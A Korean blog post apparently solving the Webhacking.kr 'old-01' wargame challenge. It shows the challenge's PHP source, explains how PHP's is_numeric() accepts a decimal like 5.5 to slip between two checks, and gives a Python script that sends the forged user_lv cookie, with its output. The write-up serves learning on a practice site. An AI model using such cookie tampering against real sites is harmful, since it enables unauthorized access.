old-01
bindon
2019-11-27
Webhacking.kr
Problem Analysis
이 페이지에서는 사용자의 입력을 받는 부분이 따로 나타나지 않기 때문에, 바로 view-source 링크를 클릭하여 코드를 확인합니다.
<?php
include "../../config.php";
if($_GET['view-source'] == 1){ view_source(); }
if(!$_COOKIE['user_lv']){
SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>5) solve(1);
echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>
코드의 상단 부분을 먼저 확인하면 쿠키가 없을 때 user_lv
에 1을 넣는것을 확인할 수 있고, 실제로 페이지에 아무런 조작 없이 접속했을 때 쿠키에 user_lv=1
이 할당된 것을 확인할 수 있습니다.
코드의 하단 부분을 확인하면 세 가지의 if문을 통해 아래와 같이 로직을 나누고 있습니다.
user_lv
가 is_numeric()을 통과하지 못하면user_lv
를 1로 설정user_lv
가 6 이상이면user_lv
를 1로 설정user_lv
가 5 초과라면solve(1)
을 실행
우리의 목적은 1, 2를 우회하여 3을 실행하는 것입니다.
1번 조건은 숫자를 입력하면 됩니다.
2번 조건을 우회하기 위해 6 미만의 숫자를 입력해야 합니다.
3번 조건을 만족하기 위해 5 초과의 숫자를 입력해야 합니다.
즉, is_numeric()
을 통과하며 \(5 < user\_lv < 6\)을 만족하면 됩니다.
해당 조건을 만족하는 수를 알기 위해서는 is_numeric()
함수의 특징을 알아야 합니다.
is_numeric()
은 부호, 10진수, 지수(e), 소수점을 허용합니다. 예를 들어 +0123.45e6는 올바른 값입니다.
즉 우리는 소수점을 사용하여 1번 조건을 우회할 수 있다는 것을 파악하였으므로, \(5 < user\_lv < 6\)를 만족할 수 있는 값을 사용하면 됩니다.
여기서는 user_lv
를 5.5
로 정의하여 사용할 예정입니다.
***
Implementation
import login
print "[+] Login and get session"
session = login.getLoginSession()
print "[+] Set URL"
url = "https://webhacking.kr/challenge/web-01/"
print "[*] " + url
print "[+] Set cookies"
cookies = {
"user_lv": "5.5"
}
print "[*] " + str(cookies)
print "[+] Exploit"
response = session.get(url=url, cookies=cookies)
print response.text
Execution Result
[+] Login and get session
[+] Set URL
[*] https://webhacking.kr/challenge/web-01/
[+] Set cookies
[*] {'user_lv': '5.5'}
[+] Exploit
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<script>alert('already solved');</script><br>level : 5.5<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>
Webhacking.kr Post List
TITLE | DATE | old-02 | 2019-12-06 | old-01 | 2019-11-27 | login | 2019-11-26 |
---|